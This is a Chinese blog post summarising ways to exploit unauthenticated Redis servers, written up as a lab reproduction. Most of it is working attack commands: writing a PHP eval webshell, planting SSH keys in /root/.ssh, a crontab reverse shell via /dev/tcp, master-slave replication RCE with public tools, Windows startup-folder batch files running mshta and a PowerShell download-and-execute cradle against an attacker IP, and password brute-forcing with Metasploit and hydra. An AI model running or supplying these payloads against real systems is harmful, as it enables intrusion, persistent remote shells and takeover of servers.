美文网首页Web攻防
redis漏洞利用小结

redis漏洞利用小结

作者: book4yi | 来源:发表于2020-07-28 20:10 被阅读0次

环境搭建:

1、下载redis并进行编译:

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar xzf redis-6.0.3.tar.gz
cd redis-6.0.3
make

2、拷贝二进制文件:

# 将redis-server和redis-cli拷⻉到/usr/bin⽬录下(这样启动 redis-server 和 redis-cli 就不⽤每次都进⼊安装⽬录了)
cd src/
cp redis-server /usr/bin 
cp redis-cli /usr/bin

cd ..
cp redis.conf /etc/

3、修改redis.conf, 开启外部访问,关闭保护模式

4、启动redis服务

# 使⽤/etc/⽬录下的redis.conf⽂件中的配置启动redis服务
redis-server  /etc/redis.conf

利用redis写webshell(Linux/Windows):

利用条件:

1、redis未授权,在攻击机能⽤redis clinet连接
2、开启web服务,并且知道⽹站路径,还需要具有⽂件读写增删改查权限

config set dir /var/www/html/
config set dbfilename redis.php
set webshell "<?php @eval($_POST[pass]); ?>"
save

成功连接!

利用公私钥认证获取root权限(Linux):

1、ssh免密码配置

ssh-keygen -t rsa -P ''     #生成公钥/私钥对                           
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt  #将公钥写入 foo.txt 文件

2、连接Redis写入文件

cat foo.txt | ./redis-cli -h 192.168.107.129  -x set crackit
./redis-cli -h 192.168.107.129
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

利用私钥成功登录redis服务器!

ssh 192.168.107.129

利用contrab计划任务反弹shell(Linux):

使用限制:centos
原理:在权限足够的情况下,利用redis写入文件到计划任务目录下执行。

目标机器进行监听:

nc -lvvp 8000

利用redis生成计划任务配置文件:

config set dir /var/spool/cron
config set dbfilename root
flushall            #删除所有数据库的所有 key,谨慎使用
set b4yi "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8000 0>&1\n\n"
save

注意:使用kali做为目标主机进行测试时,需要写入计划任务到/var/spool/cron/crontabs目录下。
发现当目标主机为centos时可以反弹shell成功,使用了ubuntu和debian均无法成功反弹shell。
原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划。

kali环境,无法测试~

主从复制RCE(Linux):

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

通过脚本实现一键自动化getshell:
适用版本:4.x/5.x(使用范围redis 4.x-5.0.5)
1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2、攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r <目标地址>  -L <本机地址> -f module.so

执行成功后可以选择生成一个交互的shell,或者重新反弹一个shell。

开机自启目录(Windows):

原理:写入批处理文件到Administrator用户的开机启动目录
1、利用脚本:https://github.com/starnightcyber/CVE-2017-11882/blob/master/PS_shell.rb

下载脚本放到/usr/share/metasploit-framework/modules/exploits/windows/目录下

打开msf,执行命令:

reload_all
use exploit/windows/PS_shell
msf5 exploit(windows/PS_shell) > set lport 7777
lport => 7777
msf5 exploit(windows/PS_shell) > set uripath 666
uripath => 666
msf5 exploit(windows/PS_shell) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.107.129:7777 
[*] Using URL: http://0.0.0.0:8080/666
[*] Local IP: http://192.168.107.129:8080/666
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.107.129:8080/666"

之后通过redis未授权写入文件
执行命令最简单的就是用bat文件了。我们只需要写入一个eval.bat来执行

mshta.exe "http://192.168.107.129:8080/666"

等待目标重启,我们就可以得到shell了。

在bat中每一行当做一条命令执行。这里我们需要换行,换行也要注意的是。这里要用到\r\n,而且一个\r\n是不行的。这里我们用两个或多个\r\n来进行换行。

利用过程:

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
config set dbfilename 1.bat
set ok "\r\n\r\nmshta.exe http://192.168.107.129:8080/666\r\n\r\n"
save

靶机 windows 2012 R2 重启后得到shell:

2、使用powershell远程下载执行我们的程序:
利用CS生成:

利用过程:

config set dir "C:/Users/tester/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
config set dbfilename 2.bat
set no "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.107.129:80/123'))\"\r\n\r\n"
save

成功生成bat文件,查看其内容:

靶机重启后,CS成功上线:

redis密码爆破:

1、msf自带爆破模块:auxiliary/scanner/redis/redis_login
2、hydra:hydra -P redis_pass.txt redis://192.168.0.100

写到最后

早就想把redis漏洞利用方式给复现一遍了

Yes,oK!

参考如下:


redis漏洞利用
Redis漏洞利用
常见未授权访问漏洞总结
Redis在Windows环境下Getshell
Redis未授权访问在windows下的利用

相关文章

  • redis漏洞利用小结

    环境搭建: 1、下载redis并进行编译: 2、拷贝二进制文件: 3、修改redis.conf, 开启外部访问,关...

  • Redis漏洞利用

    1、前言 Redis相关的漏洞存在很长时间了,仍然存在可以利用的情景,本次整理复现下redis相关的漏洞利用,以便...

  • redis漏洞利用

    前言 在复现有关redis一些漏洞的时候,踩了许多坑。真正体会到复现的不易,远没有想的那么简单。"童话里的都是骗人...

  • redis漏洞利用

    linux 未授权通常两种方式利用:一、Redis版本在4.x、5.x上的主从getshell。二、直接写入文件,...

  • (SSRF+Redis获得Webshell)&旁站攻击

    一、Redis未授权访问漏洞如何入侵利用? 例:redis-cli -h 192.168.63.130链接 端口:...

  • [JarvisOj](pwn)level2

    简介 : 地址 : 利用代码 : 【技术分享】借助DynELF实现无libc的漏洞利用小结Paste_Image....

  • ssrf攻击内网应用

    一、weblogic ssrf攻击redis Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTT...

  • Linux系统被植入挖矿程序事件

    下面是阿里云案例 漏洞描述: Redis 服务因配置不当,可被攻击者恶意利用。黑客借助 Redis 内置命令,可将...

  • 命令执行漏洞利用小结

    前言: 还是那一次实习电话面,问到了这样一个问题:面试官:在已经确定了命令执行漏洞的情况下,如果没有回显,如何进行...

  • Redis主从架构漏洞利用

    本文思路来自团队两个小伙伴,vlong6、CSeroad,在此做个笔记。 redis主从关系两大特点:1、读写分离...

网友评论

    本文标题:redis漏洞利用小结

    本文链接:https://www.haomeiwen.com/subject/wvgwlktx.html